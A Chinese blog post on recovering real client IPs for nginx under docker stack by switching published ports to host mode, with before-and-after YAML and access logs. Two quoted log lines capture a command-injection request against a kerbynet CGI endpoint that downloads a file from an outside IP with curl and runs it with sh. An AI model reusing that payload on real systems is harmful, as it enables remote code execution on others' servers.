Nginx通过docker stack 部署的代理后端服务,接口调用时获取不到实际的ip地址,remote_addr是容器的ip地址,查阅资料有几种方式(network_mode, ports映射, firewall...),但是都不是很完美,最后使用ports模式定义为host的有效,但是该方式对于docker stack 部署的有局限性,端口映射到宿主机,一个宿主机只能运行一个副本,同一个宿主机不能运行多个副本,会导致端口冲突。

未改造前stack.yaml

  ...省略
  nginx:
    image: nginx
    volumes:
      - ./nginx/conf.d:/etc/nginx/conf.d
      - ./nginx/nginx.conf:/etc/nginx/nginx.conf
      - ./nginx/ssl:/etc/nginx/ssl
      - ./nginx/log:/var/log/nginx
      - /etc/localtime:/etc/localtime
    ports:
      - 80:80
      - 443:443
    ....省略

改造后

...省略
  nginx:
    image: nginx
    volumes:
      - ./nginx/conf.d:/etc/nginx/conf.d
      - ./nginx/nginx.conf:/etc/nginx/nginx.conf
      - ./nginx/ssl:/etc/nginx/ssl
      - ./nginx/log:/var/log/nginx
      - /etc/localtime:/etc/localtime
    ports:
      - target: 80
        published: 80
        protocol: tcp
        mode: host
      - target: 443
        published: 443
        protocol: tcp
        mode: host
  ...省略

日志:

// 改造前
10.0.0.2 [13/Oct/2020:00:08:33 +0000] "GET / HTTP/1.1" 400 85 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
10.0.0.2 [13/Oct/2020:00:52:48 +0000] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 400 74 "-" "-"
10.0.0.2 [13/Oct/2020:00:52:48 +0000] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 400 74 "-" "-"
// 改造后
193.27.228.27 [13/Oct/2020:01:15:18 +0000] "POST /api/jsonws/invoke HTTP/1.1" 400 85 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
112.255.82.99 [13/Oct/2020:01:16:22 +0000] "GET /news/list?pageNum=1&pageSize=10 HTTP/1.1" 200 449 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"

 

Ref

  1. github-issue
  2. docker-ports
  3.  forums.docker

 

 

Logo

权威|前沿|技术|干货|国内首个API全生命周期开发者社区

更多推荐